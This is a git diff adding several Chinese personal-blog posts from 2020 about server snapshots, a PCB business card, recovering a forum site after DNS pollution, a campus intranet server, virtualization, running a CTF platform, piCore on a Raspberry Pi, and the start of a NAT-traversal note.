data_list_del = data_list[::-1][9:] # 取超过9个之后的快照
|
||||
for data_del in data_list_del:
|
||||
data = {'SNAPSHOTID': data_del.get('SNAPSHOTID')}
|
||||
status_code, resp = vultr.snapshot.destroy(**data) # /v1/snapshot/destroy
|
||||
if status_code != 200:
|
||||
print('删除旧快照失败')
|
||||
else:
|
||||
print('成功删除一个旧快照')
|
||||
```
|
||||
|
||||
把这个脚本放到Crontab里,每天执行一次就行了。
|
||||
|
||||
# 后记
|
||||
相信服务器厂商是完全靠不住的事情,自己还得想办法做好备份。我甚至在想,阿三把Intel和微软都占领了,会不会有一个阿三也跑到Vultr里,然后对着我的硬盘大喊“把你变成咖喱”之类的23333。
|
||||
现在不过是权宜之计,以后还是得想办法把整个论坛下载到本地,至少能搞个数据库的差异备份啥的也行啊……
|
||||
|
31
_posts/2020-07-29-card.md
Normal file
31
_posts/2020-07-29-card.md
Normal file
@ -0,0 +1,31 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何制作一个PCB名片
|
||||
tags: [PCB, 名片, 制作]
|
||||
---
|
||||
感觉设计PCB也挺有意思的<!--more-->
|
||||
|
||||
# 前言
|
||||
这个月虽然依然是假期,但是总感觉比其他月做了更多的事,毕竟是到了期末,考试的准备不说,为其他人完成期末作业这也费了不少精力,因此也赚了几百块钱。
|
||||
除了期末,我还要为科目三的考试做准备。虽然练车每天不过1小时,但是回来之后就啥也不想干了……再过几天我就要去考试了,希望能顺利通过。
|
||||
在假期间,我在网上看到了一个很有趣的东西,叫做PCB名片,就是把电路板做的像名片一样。看起来挺有意思的,不过我从来没学过电路设计(网络工程的人怎么会去学习电路设计呢?),所以虽然看起来很有意思,但是我一窍不通啊……
|
||||
说是这么说,但是只要想做,有搜索引擎什么做不到?于是接下来我就开始了学习电路设计的路程。
|
||||
|
||||
# 收集资料
|
||||
据那些做PCB名片的人所说,他们是使用AD(Altium Designer)进行设计,然后发到一个叫嘉立创的网站进行制造。首先我肯定是先去下AD,不过看了一下大小之后就不想下了,那个软件要2-3GiB大……我想我可能也就做一次PCB,又不会经常用,所以也不想下这么大的软件。
|
||||
像电路设计也不可能只有AD一个软件,于是我就开始搜还有什么其他的EDA软件可以用。搜着搜着发现了有一个可以在线设计PCB的网站,叫做立创EDA,这不是正合我意嘛,想不到这个在线设计的网站和制造PCB的那个公司是一家的,这样倒是也方便。
|
||||
|
||||
# 开始设计
|
||||
既然整个流程大概都搞明白了,接下来就该设计了。当然从来没学过电路设计自然也不知道怎么用这个软件,接下来我打开了教程,然而我的表情是这样的:
|
||||

|
||||
像教程这种东西实在是一点用也没有,大多数教程都是给能看懂教程的人写的,像我完全不了解的人就根本不会看这种东西。那怎么办呢?不会用还不看教程,怎么才能用这个软件呢?
|
||||
这时候就用到了作为设计师的本能了,设计师都是心意相通的,所以只要是按着为用户着想的设计理念做出来的软件,我基本上都会用。 ~~(Adobe公司做的垃圾软件就没有符合这个理念)~~
|
||||
这个软件可以直接用浏览器打开,也有客户端,客户端是Electron做的。我不太喜欢Electron,因为感觉它的效率比较低,因此VSCode我也没有装。但是这个网页版在Edge上的兼容性不太好,所以我只好使用它的客户端了……倒是也不大,不到100MiB还是挺不错的。
|
||||
打开了这个软件之后随便按了按,大概的按键我倒是都搞明白了,有几个划线的按钮,分别可以画直线和弧线,然后就是打孔的选项,还有一个画矩形和多边形的。除此之外还能插入图片和文字,总体来看和画图软件差不多,只是它好像有一堆奇奇怪怪的层。
|
||||
一开始这些层我完全搞不清楚是干啥用的,啥阻焊层还是什么丝印层乱七八糟的我根本搞不清楚。还好它有一个3D预览,可以看一下最终做出来的大概效果,通过这个我大概明白了丝印层就是在电路板表面印的白色的字,阻焊层就是电路板表面涂的有颜色的漆。只是设计的时候是把那层东西挖空。
|
||||
了解了这些之后我就开始设计了,把喜欢的图片导入,然后按照喜欢的方式进行布置。虽然说一般电路板应该是要实现功能的,但是我不会做,做出来也是为了玩,所以我最多也只是在上面加了一个线圈,其他的什么功能也没有。
|
||||
|
||||
# 制造结果
|
||||
我一开始做的时候不清楚PCB的本质,以为它是在铜板上划出电路,结果今天我取到货之后才发现完全不是这样,PCB其实是在塑料板上打印铜线,所以我在第一次设计的时候没搞清楚这个问题,我把有些阻焊层去掉之后下面就直接露出了塑料板,不怎么好看,所以今天我明白之后修改了一下图纸,又上传上去让他们制造了。
|
||||
打印5张这样的PCB名片倒是挺便宜的,5张一共才5CNY,虽然说真正的名片5CNY可能能打100张,但是制作一次也不过是相当于喝了一大瓶饮料而已,所以再打一次也没关系。
|
||||
另外我想吐槽一下快递的速度,制作板子花3天时间可以理解,但是快递送4天就有点过分了,最终下单一周之后才取到。上次我用的是京东快递,真的是体验极差,这次我换成了顺丰的希望它能快一点。
|
23
_posts/2020-08-21-sth2.md
Normal file
23
_posts/2020-08-21-sth2.md
Normal file
@ -0,0 +1,23 @@
|
||||
---
|
||||
layout: post
|
||||
title: 假期总结第二弹
|
||||
tags: [假期, 总结]
|
||||
---
|
||||
|
||||
这个假期还真是“长”啊……<!--more-->
|
||||
|
||||
# 依旧什么也没做
|
||||
去年我写了一篇[假期总结](/2019/08/24/sth.html),什么也没做,今年比去年更糟糕,更加的什么都没做。
|
||||
最近我感觉我的思维就像是一块蛋糕,被万恶的资本家疯狂的切割,不是那种平均分的切法,而是一刀下去先切一半,第二次在其中一块上切三刀,第三次切四刀……总而言之我也不知道我在说什么,意思就是思考能力就如同抛物线那样下降,大概就是这样。
|
||||
在这个假期我总算是把驾照考下来了,不过考下来之后我感觉好像也没啥,什么感觉都没有,不过是有了开车的资格罢了。
|
||||
如此长的假期,将近有半年,在上课期间,每天在床上打开手机,什么也不做……
|
||||
感觉我的处境还是有点危险的,没有目标,不是真的没有目标,而是没有实现目标的意义……做事情给谁看呢?
|
||||
以上就是被切割成为2<sup>n</sup>的感受,思考能力下降的很严重,就好像一块装有服务器的CPU的电脑安装了很老的家庭版系统,不支持多核心,每个核心的频率还很低……
|
||||
|
||||
# 也许不完全什么都没做
|
||||
我想不起来这个假期我还做了什么,也许之前的文章里都有写,但是最近确实啥都没做。
|
||||
唯一我想到的事情是学校推迟了几天开学,可是我提前买了机票。然后发现改签还不如退票重买便宜,然后就重新买了。所以以后如果遇到了类似的事情,再看看那一天机票的价格吧。
|
||||
|
||||
# 想要做的事情
|
||||
我没有能力思考更多的事情了,正好手头有一个好几年前的旧山寨机,想想我能用它做什么更多的事情吧。
|
||||
😢
|
30
_posts/2020-08-28-banned.md
Normal file
30
_posts/2020-08-28-banned.md
Normal file
@ -0,0 +1,30 @@
|
||||
---
|
||||
layout: post
|
||||
title: 网站被Ban怎么办?
|
||||
tags: [网站, Ban]
|
||||
---
|
||||
虽然不是第一次,但是这事终于落到我头上了<!--more-->
|
||||
|
||||
# 起因
|
||||
在一年前,我写了一篇[Anti-Ban](/2019/04/27/antiban.html)的文章,主要讲的是如何避免由于网站被Ban导致的无法访问。
|
||||
然而现在身份换了,我不再是被Ban网站的访问者,而是维护者,这时候我们应该怎么办?
|
||||
|
||||
# 解决方案
|
||||
我维护的网站就是花火学园,前两天网站的域名say-huahuo.com包括其子域名都被DNS污染了。污染的当天访问量直接下降3/4,简直是太恐怖了,而且这还只是防火长城的最低级别的攻击。
|
||||
被污染的两天后百度权重骤降,直接预估流量暴降10倍……我以前还挺自信的,让网站与域名耦合度很高,这么一搞,我以后是不敢再在内链里搞URL了,最多就是绝对路径,然后像我之前还搞什么图床之类的现在出现这么个事也不敢再搞子域名了。
|
||||
当然域名被污染这个也不是什么大事,在我维护前貌似也出现过类似的事情,那时候的用户量远比现在低,解决方案也很简单就是换域名,只是我以前太自大了好多配置的地方都用的是带域名的URL,所以直接换就会出现好多问题。
|
||||
还好Nginx有一个叫做`sub_filter`的模块,我可以直接使用这个模块把页面中所有涉及say-huahuo.com的部分全部替换成现在的say-huahuo.me。虽然这样会增大服务器的压力但是也没有啥更好的办法了,以后有机会再把数据库里的所有链接替换一下应该就没问题了吧。
|
||||
不过那也只是个辅助的方案,大多数情况还是要Discuz里面调整。首先要在后台把所有有关应用域名的东西全部关掉,然后在配置文件里把cookie域删掉,另外还要改一下UCenter的配置文件,要把UC_API的地址改成/uc_server,不然头像就会调用带域名的URL然后就会出问题。
|
||||
|
||||
# 永远要考虑用户
|
||||
其实对于我来说,换不换域名都是次要的,因为防火长城最低级别的攻击DNS污染使用DoH、DoT、DNSCrypt等一大堆避免被污染的方案就可以解决,实在不行用hosts文件手动设置IP也行嘛。
|
||||
虽然这么说,但是访问网站的一大批用户全是电脑小白,那些人能把手放在鼠标上能用键盘打几个字已经很了不起了,像复杂的事情他们也不会懂。虽然我维护的网站没有广告,流量对我来说毫无意义,但是维护一个没有人访问的网站也很无聊啊,没有人访问网站开着有什么意义?
|
||||
|
||||
# 如何使用国外的服务器检测DNS污染
|
||||
一般防火长城都是在国际网络出入口设立的,所以如果是国内访问国内还是国外访问国外都是不通过防火长城的。所以怎么样才能在国外检测某域名在国内的状态呢?
|
||||
我之前也不清楚这个问题,后来发现,只要用国内的DNS来解析不就好了嘛23333,在国外也可以用`nslookup`使用国内的DNS,这样就会经过防火长城而实现检测的功能了。
|
||||
|
||||
# 总结
|
||||
通过这件事,我明白了防火长城再垃圾也是能防住大量用户的,毕竟大量用户都是小白,而且域名一旦被他们认证,终身也别想解禁,所以一般情况下还是不要惹他们比较好。
|
||||
另外只搞了备用域名没搞发布地址也确实是考虑的不够周全,不过也确实是我太自大了,怎么会认为那样的网站不会被防火长城屏蔽?虽然这个域名活了将近两年,但是确实我们做的准备不够充分。
|
||||
还有就是尽可能不要滥用子域名,虽然说有些静态资源放到子域名可以不传cookie可以让速度更快一些,但是这种事对我们来说没有意义,另外就是不要让网站与域名耦合,万一哪一天要换域名麻烦事就出来了。像我的博客用的基本上都是绝对路径,这样就能避免由于GitHub Pages域名出问题之后换域名困难的问题了。
|
34
_posts/2020-09-10-site.md
Normal file
34
_posts/2020-09-10-site.md
Normal file
@ -0,0 +1,34 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何建立一个校园内部网站
|
||||
tags: [网站, 校园]
|
||||
---
|
||||
其实我感觉大学生活也挺好的。<!--more-->
|
||||
|
||||
# 起因
|
||||
去年我进入大学后加入了一个专门研究云计算以及网络(名义上)的社团,不过那时候我才是大一新生,加入后没有权限。到了第二年,我成功的进入了管理层,这次我就可以好好的看看这个社团有什么有意思的东西了。
|
||||
首先,社团内有专属于自己的网络,社团办公室内有一个交换机是连接所在教学楼的网络的。另外还有一个树莓派,看起来好像是一次都没有用过,系统也是全新的RPiOS。
|
||||
除此之外,社团内有一台机架式服务器,看起来好像好长时间没有用了,第一次启动直接报内存错误,我只好把内存条拆出来擦了擦才能正常开机。
|
||||
我以前觉得服务器应该配置相当高,不来个双路TR3990X,再整个一堆上TiB的内存根本不能称作服务器。不过这台垃圾服务器改变了我的想法。这是一台主板型号为S5500HCV的服务器,有双路CPU和4条4GiB的内存条,硬盘500GiB还是机械的。仔细看了看这双路的CPU怎么加起来才8个核心,而且还不支持超线程?这配置还不如我新买的笔记本电脑,然后大小还特别大,比一般的机箱大得多,而且开机速度又慢,风扇还不支持调速,真是有够垃圾的。
|
||||
不过垃圾就垃圾吧,毕竟还是个服务器,最起码还能支持24/7工作制,365天全年不断电应该是可以保证的。既然有了这样的资源,我觉得应该搞点什么在服务器上面,不然这么大的东西闲置也挺浪费的。
|
||||
|
||||
# 服务器的折腾之旅
|
||||
最开始我是打算装ESXi的,因为自从有Hyper-V之后我基本上就没用过VMWare了,而且这俩还是互斥的。以前看到ESXi之后挺想在我的Hyper-V虚拟机里装一个,可惜ESXi这个系统实在是太垃圾,安装必须要网卡驱动然后它支持的驱动还特别少,所以这次有了真正的服务器自然是想试一下装个ESXi玩玩。
|
||||
首先我装的是ESXi7,打开后结果又是没有显卡驱动,所以我只好下ESXi6试试看,打开之后确实可以装了,但是装好之后却没办法引导了,这就很奇怪,所以我只好放弃安装ESXi的想法。
|
||||
之后我就想着要不然就正常的安个服务器操作系统吧,Ubuntu用的多了,干脆安个CentOS好了。不过安CentOS有不少坑,因为我安装没办法用光盘装,一般都是先录到U盘里再装,但是不知道为啥,CentOS的引导是用的是卷标名,然后U盘只能用11位的卷标名,安装程序就没法引导。
|
||||
除了这个坑之外还有一个就是8和8-stream版本的不同。因为直接把整个CentOS下下来很麻烦我就直接下的是网络安装版的。安装程序我下的是8-stream的,但是我当时不知道用哪个源,结果搞成了8的源,装到一半就出错退出了,很难受,之后仔细检查才发现原来是版本搞错了。
|
||||
安好之后就是如何管理服务器的问题了,虽然直接用SSH或者用自带的Cockpit也挺不错,显得很专业,但是我觉得麻烦就直接用了某删库塔面板了,反正是在内网里也没谁会攻击,而且安装配置确实方便,想做的事情一键就能搞定。
|
||||
虽然这个服务器挺垃圾,但是至少要比一般的云服务器强,同配置的云服务器要不少钱我肯定是不会租当然也没用过。所以像什么Gitlab之类的我可以随便装,反正有16GiB内存也不担心。
|
||||
另外就是网页服务器的环境了,面板确实方便,轻轻松松就能装一个博客、论坛加网盘了。既然网站建好了,就要考虑如何访问的问题了。
|
||||
|
||||
# 如何公开自建服务器
|
||||
正常情况下我们用的网络都是经过路由器的,然后就会有NAT就没法从外面访问里面的服务。一般情况下解决这个问题就是用内网穿透,比如frp之类的。不过我们的网站不太适合暴露到外网上,毕竟开了一大堆服务,又没有防火墙,密码还超级简单,万一服务器被外面的人攻破了学校内网估计也得凉。
|
||||
不能暴露在外网的话至少学校内网能访问也不错啊,不过服务器前面连了一个路由器,经过了一次转换,然后就没办法在学校内访问了。还好路由器可以设置DMZ主机,把服务器的内部IP设成静态的然后开DMZ主机就能解决这个问题了,另外路由器连接的校园内网也没有NAT,所以在校内就可以直接运行了。
|
||||
|
||||
# 给网站加个域名
|
||||
虽然通过上面的方法可以让大家访问服务器,但是有一个问题就是动态IP的问题。我可以改在社团的路由器,但是不能改学校的交换机,所以IP地址没办法固定,虽然也可以直接在服务器上改成固定IP,但是我担心这样会造成IP冲突之类的问题。这种情况就很麻烦,因为好多网站内链都是带站点地址的URL,我建的网站都是通过引擎建的,改又不好改,这就很麻烦。
|
||||
这个问题比较好的解决方案就是使用域名,域名解析的结果不一定必须是一个外网地址,内网地址同样可以解析。这样我回头可以买个域名然后解析,如果发生断电之类的问题导致IP改变我就可以直接改一次就行了。DDNS也是个不错的解决方案,不过这种事发生次数不多所以就懒得搞了。
|
||||
|
||||
# 合理利用资源
|
||||
虽然建了网站,但是平时也没有人访问……而且就算有人访问服务器运行网站服务程序基本上没什么压力,这样服务器运行基本上就是空转了。既然我打算让它持续运行肯定不能让它空转,我肯定要搞点啥利用好这个运算资源。挖矿是个不错的选择,但是我不屑于去做,不如搞点为人类发展做出贡献的事情,像World Community Grid这样的志愿计算项目就挺不错。
|
||||
于是我就在上面安装了BOINC,这种程序虽然会占用大量的运算资源但是它的运行优先级很低,所以网站运行完全没有影响,这样就能合理的运用好这些计算资源了。
|
34
_posts/2020-09-27-vm.md
Normal file
34
_posts/2020-09-27-vm.md
Normal file
@ -0,0 +1,34 @@
|
||||
---
|
||||
layout: post
|
||||
title: 关于虚拟化的学习记录
|
||||
tags: [虚拟化, 记录]
|
||||
---
|
||||
|
||||
虚拟机……感觉有点哲学。<!--more-->
|
||||
|
||||
# Mayx的虚拟化学习史
|
||||
## PC上的虚拟机使用史
|
||||
在我小的时候,我就玩过虚拟机,那时候Windows10还没有出来,用的还是WindowsXP的系统,那时候我使用的虚拟机软件是VMWare Workstation。过去的VMWare和现在的感觉区别不大,十年过去了感觉加的功能也不多,非要说哪个功能有更新的话可能也就是随着现在的物理机更新一样增加了一些比如UEFI之类的功能吧。
|
||||
后来我用上了Windows10,那时候我还是第一批用上Windows10的人,正式版还没有出来,我就已经用上了技术预览版,不过直到正式版出来我依然使用的是VMWare做虚拟机。后来我在系统里乱逛的时候发现了Hyper-V,那是一个比VMWare更轻量,更底层的一个虚拟机,不需要下载其他程序,就能在Windows10里直接打开,非常方便。
|
||||
自从我知道了Hyper-V后就再不用VMWare了,除了两个不能共存的原因之外还有就是Hyper-V感觉更稳定,速度更快,而且与Windows的结合更好。不过有一个缺点就是没有办法挂载USB设备,这个就很麻烦……
|
||||
以前我在用VMWare的时候经常遇到一个问题就是有时候虚拟机里面的系统卡死了,但是我点关机的时候用的是客户机关机,然后VMWare就卡死了。这时候就算结束掉它用来获取计算资源的进程`vmware-vmx.exe`也没用,就算是注销也不行,只能关机,重启之后也经常会因为锁的原因而出现打不开的问题就很麻烦。但是自从我用了Hyper-V之后就再也没有遇到过这种情况,大概是因为Hyper-V对资源的管控更好吧,基本上不会出现虚拟机把物理机怼死的情况。
|
||||
说到这里就让我想起最近我安装的ESXi了,由于我的主电脑用的是Hyper-V,垃圾ESXi没有Hyper-V网卡的驱动,然后就怎么装都装不上,然后没办法我就只能用我的旧电脑安,结果安好之后发生了一个很神奇的事情,就是用ESXi创建一个虚拟机然后启动之后物理机就直接断电重启了,这就有点不太合适了,虚拟机无论怎么搞能影响到物理机就不太合格了啊。
|
||||
总的来说可以发现PC机虚拟化的软件基本上都是依靠CPU内置的虚拟化指令来运行的,所以效率很高。
|
||||
## 手机的虚拟机使用史
|
||||
手机上我也安装过不少种类的虚拟机,最早我用的手机性能很差,好像还是清华紫光的CPU。那个垃圾手机当时我还拿来当服务器使。虽然我也知道其他的虚拟机但是那个手机带不起来,我记得最早我用的是DOSBox Turbo,在那个上面我安装了一个Windows3.2的系统。不过这个软件除了这一个虚拟机就不能再开别的系统了,而且基本上没有隔离,它可以直接访问手机里的文件,这就不太好。
|
||||
后来我用上了一个稍微好一点的手机,那时候我知道了Bochs,不过那个系统不是我自己装的,那个软件的配置文件对那时候的我来说太复杂了,我看不懂,所以是直接用的贴吧上的镜像。
|
||||
知道了Bochs之后我就了解到了Limbo,那是一个基于qemu的虚拟机,用起来要比Bochs简单很多,不用写配置文件就可以直接使用。所以这个东西只要不是用的需要一些特别的指令都没问题,我试着装了WindowsXP以及MenuetOS、KolibriOS、TempleOS等等基本上都可以正常运行。
|
||||
后来我还试了试别的软件,比如VMOS,好像也是一个基于qemu的虚拟机,不过它是ARM指令集的,安装的是Android系统,在很多时候运行一些有可能有问题的软件很方便。
|
||||
还有一个是ExaGear,是基于Wine制作的,它只能在一定程度上运行Windows的程序,而且因为它也是跨指令集的,其实效率不这么高。
|
||||
以上我们可以发现手机上的虚拟机基本上都是软件模拟的(指令集都不一样想怎么搞虚拟化指令?),虽然ARM的CPU应该支持硬件虚拟化,但是目前我的了解是没发现有类似的软件。
|
||||
## 其他平台的虚拟机
|
||||
除了在电脑和手机上的虚拟机,还有在浏览器上运行的虚拟机(真就JS创造宇宙呗)。qemu的作者Fabrice Bellard曾经写过一个叫做[JSLinux](https://bellard.org/jslinux/)的项目,可以运行比如x86指令集的系统,相当厉害。
|
||||
|
||||
# 对虚拟化概念的探索
|
||||
说完对虚拟化平台的使用,我觉得虚拟机的概念和实现还是比较神奇的。什么是虚拟机?我觉得应该只要是在逻辑上提供运算及存储资源的东西都可以称作是虚拟机,包括人也可以作为一种虚拟化平台。我以前听说过一个故事讲的是图灵下国际象棋,他写了一个下国际象棋的程序,但是那时候还没有电脑。于是他自己就模拟电脑的执行方式和朋友下完了象棋。我觉得他在执行这个程序的时候就相当于开了一个虚拟机,在逻辑上构造了一台可以运行他程序的机器,毕竟图灵是人,不是机器,所以我觉得应该可以叫做虚拟机。
|
||||
但是这么来说的话,只要不是实模式的操作系统我觉得应该都算是虚拟机,因为程序没有真正享用到电脑的所有运算与存储资源,它们的资源都是由操作系统所分配,这么来看操作系统岂不是也是虚拟机?那么这种虚拟机的意义就和实际的虚拟机意义不相符了,我觉得应该再加一些限制条件。
|
||||
操作系统的特点是BIOS将代码载入到内存中,程序的特点则是操作系统将代码载入到内存中。这么来看的话我觉得就可以得出需要BIOS载入代码,并提供运算和存储资源的东西应该才能叫虚拟机……但是BIOS又算什么呢……emmmm所以就是这种原因导致了我感觉虚拟机有些哲学。
|
||||
除此之外还有像沙箱、Docker这些对资源再次分配的程序,它们只是进行资源限制,但是程序的代码不是由它们载入的……这就更迷了……
|
||||
|
||||
# 未解决的问题
|
||||
一般我们认为虚拟化是将一台电脑的资源合理分配,把一台电脑当作很多台来用,但是我听说有一种叫做虚拟化集群的东西,可以把一大堆电脑模拟成一台电脑来用。但是这时候我觉得就会有一些问题,比如一般程序会有比如进程间通讯之类的功能,但是两个进程假如放在了不同的两个电脑,它们的通讯岂不是要通过网线?正常情况下应该是通过内存进行通讯吧?这个速度估计得差几千倍,就算是多CPU的服务器之间也是通过总线连接。拿网线连接真的能用吗?这就让我对虚拟化集群这个感到有些迷惑,不知道那些虚拟化软件是怎么搞的。
|
7
_posts/2020-10-24-try.md
Normal file
7
_posts/2020-10-24-try.md
Normal file
File diff suppressed because one or more lines are too long
23
_posts/2020-11-24-createctf.md
Normal file
23
_posts/2020-11-24-createctf.md
Normal file
@ -0,0 +1,23 @@
|
||||
---
|
||||
layout: post
|
||||
title: 记一次组织CTF的经历
|
||||
tags: [CTF, 记录]
|
||||
---
|
||||
|
||||
不会打我也能搞CTF(:-P)<!--more-->
|
||||
|
||||
# 起因
|
||||
在一年前,我[体验了一次CTF](/2019/12/16/ctf.html),感觉挺有意思的,而且为此我甚至计划做一个以此为基础的[游戏](/2019/12/17/game.html)。可惜人不行了,除了会咕咕咕其他什么都不行。
|
||||
想不到就在最近,我不用参加CTF,而是直接去给其他人玩CTF的机会。最近我所在的协会要承包一次CTF的比赛,我作为协会部门的部长,自然也要参与其中。我最擅长的就是运维,所以在这次比赛,我就成为负责维护这次CTF平台的运维了。
|
||||
|
||||
# 感受
|
||||
成为了维护CTF系统的人之后我对CTF的了解更深了,CTF系统的本质就是一个计分板加一台靶机,然后题就那么几种,像Web、PWN这种题需要靶机,其他的Crypto、Reverse、Misc啥的就只需要把题目放到一个文件服务器里就行了。另外计分板也非常的简单,就只需要一个判断结果是不是等于设定好的flag就完事了,然后根据答题情况给分就行了。
|
||||
一般正式的赛事中好像flag都是动态的,每一个队伍的flag都不一样,然后每个队伍打的靶机也全部都是用docker隔离开的,像我们举行的这个CTF并不算专业,只能算是比较业余的。
|
||||
|
||||
# 经历
|
||||
在这次CTF中,我本来是不想管平台的事情,如果我来搭建这个平台我可能会选择[CTFd](https://github.com/CTFd/CTFd)作为本次CTF的平台。不过这个CTF在我来之前举办过几次,他们使用的是由Facebook开发的[FBCTF](https://github.com/facebookarchive/fbctf)作为整个比赛的平台。我作为运维,肯定也不会去管程序上的事情,就干脆让他们去搞相关的事情了。
|
||||
不过现实证明这是一个错误的决定,这个平台已经不维护了,虽然看起来确实挺好看,但是BUG也多,在这次比赛中给我们维护组带来了不少的压力。就比如说这个平台里的[这一句话](https://github.com/facebookarchive/fbctf/blob/4ec9b6be404fce1bed6d1066fccf10c4255767bb/database/countries.sql#L161),给我们带来了很多麻烦。就这样的短短一句话,搞的正在运行的平台直接被迫停止运行。为什么呢?很简单,因为我所在的学校是中国啊,不允许这样的事情发生……
|
||||
另外这个FBCTF也很迷,看代码不过就是普通的PHP而已,但是部署的时候用的软件和方式都和平时不一样。正常来说这种东西一个LEMP或者LAMP就能解决问题,而它非得要一个什么hhvm的环境,不过环境不是我搭的,它用啥我倒是不在乎。然而它的i18n有问题,在[这一行](https://github.com/facebookarchive/fbctf/blob/4ec9b6be404fce1bed6d1066fccf10c4255767bb/src/controllers/IndexController.php#L598)没有加`tr`的那个函数,然后注册的时候显示就会出问题。有问题倒是没关系,大不了改了就行了,可是这个破玩意改了之后居然没反应?我搞了半天都没有搞好,后来发现因为它用了hhvm,这个东西会把php代码编译,然后直接修改代码就啥反应都没有,必须用`hhvm-repo-mode`才能更新代码😓……
|
||||
其他的就是数据库,那个部署的人当时居然没改字符集,用的还是拉丁文的字符集,然后存储中文的时候就会各种乱码,怎么搞都搞不回来,不过程序里面好像没有受影响,所以也就算了。
|
||||
还有就是领导的新需求,这也算是提前体验公司生活了,领导说要加一个功能,我肯定不会想着去接这个大坑,最后这个任务被派给了我们的PHP老师,不过老师确实专业,花了4个小时最终真的就搞成了,水平确实了的。
|
||||
目前这次的比赛还没有结束,不知道还会出什么新的莫名其妙的事情,敬请期待吧~
|
36
_posts/2020-12-07-picore.md
Normal file
36
_posts/2020-12-07-picore.md
Normal file
@ -0,0 +1,36 @@
|
||||
---
|
||||
layout: post
|
||||
title: 在树莓派上体验piCore
|
||||
tags: [树莓派, piCore]
|
||||
---
|
||||
|
||||
麻雀虽小,五脏俱全<!--more-->
|
||||
|
||||
# 起因
|
||||
最近想让协会的打印机共享到网络上,但是又没有什么好的方法,如果用电脑的话体积有点太大了,所以我就考虑用树莓派来共享。
|
||||
我手头有一个吃灰多年的树莓派,有一个问题是我应该在上面装什么操作系统比较好?一般来说在树莓派上肯定是装官方的Raspberry Pi OS会更好一些,但是官方的系统很大,下载也有点慢,所以就想找个小一点的系统来处理。
|
||||
最终,我找到了一个叫做Tiny Core Linux的发行版,它有一个专门为树莓派开发的一个叫做piCore的发行版,下载下来只需要23MiB,可以说是非常不错了,毕竟就算是Raspberry Pi OS lite也要400多MiB。
|
||||
另外,点击[这里](http://www.tinycorelinux.net/12.x/aarch64/releases/RPi/piCore64-12.0.zip)就可以下载安装包了。
|
||||
|
||||
# 使用方法
|
||||
总体来说piCore还是挺不错的,文档写的也还可以,该有的功能基本上都有了。安装很简单,和树莓派一样直接把镜像写入MicroSD卡就可以直接使用了。不过有一个问题是它的系统不是直接挂载分区使用的,它的根目录是在内存里面的,所以如果直接断电所作的操作没有办法保存。
|
||||
不过他们提供了一种方案来解决这个问题,在对根目录下的文件进行操作后,可以执行`filetool.sh -b`把修改写到一个特别的文件里面,之后每一次开机系统都会读那个特别的文件来保持重启后数据不会丢失。
|
||||
第一次启动的时候系统会自动生成SSH的Key,所以第一次启动就要执行上面的命令。这些事情在README都有写。另外就是使用完整分区的问题,根据这个发行版的设计,所有的操作会写到第二个分区里面,但是默认情况下第二个分区只有16MiB,所以要扩大这个分区的大小。
|
||||
顺便一说,这个系统的默认用户名是tc,密码是piCore。
|
||||
扩大的方法在README里面也有写,但是全英文而且写的也不太清晰让我很难受,而且在国内貌似几乎没有人使用piCore,导致我第一次搞这个东西的时候很痛苦,所以我还是在这里记录一下吧。
|
||||
## 扩大分区
|
||||
首先第一步执行`sudo fdisk -u /dev/mmcblk0`,然后输入p查看分区,接下来记住第二个分区的StartLBA。记好以后输入d删除第二分区并且输入n重新创建分区。其中出现First Sector的时候输入刚刚记住的数字,其他的就默认就行了。最后输入w保存。
|
||||
很神奇的是用fdisk操作分区的时候并不会让被操作分区的数据丢失,貌似它只会修改分区表,也许这才是fdisk真正做的事情吧……
|
||||
在此之后需要重启一次,然后执行`resize2fs /dev/mmcblk0p2`让文件系统获得真正的大小就OK了。
|
||||
## 安装软件
|
||||
这个系统安装软件也很神奇,由于它的系统在内存中,安装软件肯定也不能直接安装到指定的位置。他们设计了一种很神奇的安装方法,就是把程序写到一个镜像里面,然后使用的时候挂载就可以用了。直接操作可能会比较麻烦,所以他们设计了一个脚本让任何人都可以随便安装软件。
|
||||
像debian系列的发行版都使用的是`apt`来管理软件的,piCore也整了一个类似的东西,叫做`tce-ab`,用起来比`apt`还要方便,它是一个可交互的脚本,想安装软件可以直接在里面搜索。方便确实很方便,而且清华源里也提供了这个系统的镜像源,还是挺不错的。
|
||||
不过卸载的时候就有点麻烦了,它貌似没有卸载的命令,需要自己手动去`/mnt/mmcblk0p2/tce/optional/`这个路径把软件删掉。不过其实还好,文件都在一起,倒是也没有特别的麻烦。
|
||||
## 配置Wifi
|
||||
因为piCore默认没有Wifi的驱动我还以为它不能用Wifi,不过还好,这个安装软件的功能可以直接安装Wifi的管理软件和驱动,用起来挺方便的,直接搜索wifi就可以安装,不过我在里面又找到了一个叫做`firmware-rpi-wifi`的包,虽然不知道需不需要安装,但是看起来好像需要的样子就安上了。
|
||||
还有一个问题就是即使安好后也不能自动连接Wifi,这个问题处理起来也很简单,第一次连Wifi是用的一个叫做`wifi.sh`的脚本,连好以后就可以在`/opt/bootlocal.sh`文件里写一句`wifi.sh -a`,这样它以后每次启动都会自动连接Wifi了。不过还有一点需要注意,在做完这些配置之后都需要执行`filetool.sh -b`来保证修改能在下一次重启的时候被应用。
|
||||
|
||||
# 与Raspberry Pi OS lite的对比
|
||||
这样一波操作下来感觉基本上Raspberry Pi OS lite和piCore在功能上也没啥区别了吧,piCore不仅更快还更小,从安装包来看piCore要比Raspberry Pi OS lite小20倍!
|
||||
这样看来还是piCore更好啊,为什么国内连相关的文章都搜不到呢?也许是因为piCore需要自己探索吧,大家一般都用的是树莓派官方的系统,而且因为Raspberry Pi OS lite用的是apt管理更方便所以就没人用piCore了吧……
|
||||
不过树莓派不就是用来折腾的嘛,所以我还是更支持piCore!😀
|
36
_posts/2020-12-13-nat.md
Normal file
36
_posts/2020-12-13-nat.md
Normal file
@ -0,0 +1,36 @@
|
||||
---
|
||||
layout: post
|
||||
title: 关于内网穿透的笔记
|
||||
tags: [内网穿透]
|
||||
---
|
||||
|
||||
为了更好的运用资源,内网穿透是必要的。<!--more-->
|
||||
|
||||
# 起因
|
||||
最近我的学校给我分配了一些服务器资源,大概在市场上价格基本上在1wCNY/mo的样子。这些资源非常好,但是有一个问题,那就是没有外网IP,想要运用这些资源必须要到机房。像机房那样的地方又冷又吵,不过我不在意,可惜问题不在这里,问题在于它只能在机房用,我又不能常常待在机房,那我到底应该怎么办呢?
|
||||
其实解决方案很简单,那就是搞内网穿透。现在内网穿透的技术已经很多了,不过总体来说主要还是一个东西,那就是隧道。
|
||||
|
||||
# 内网穿透的原理
|
||||
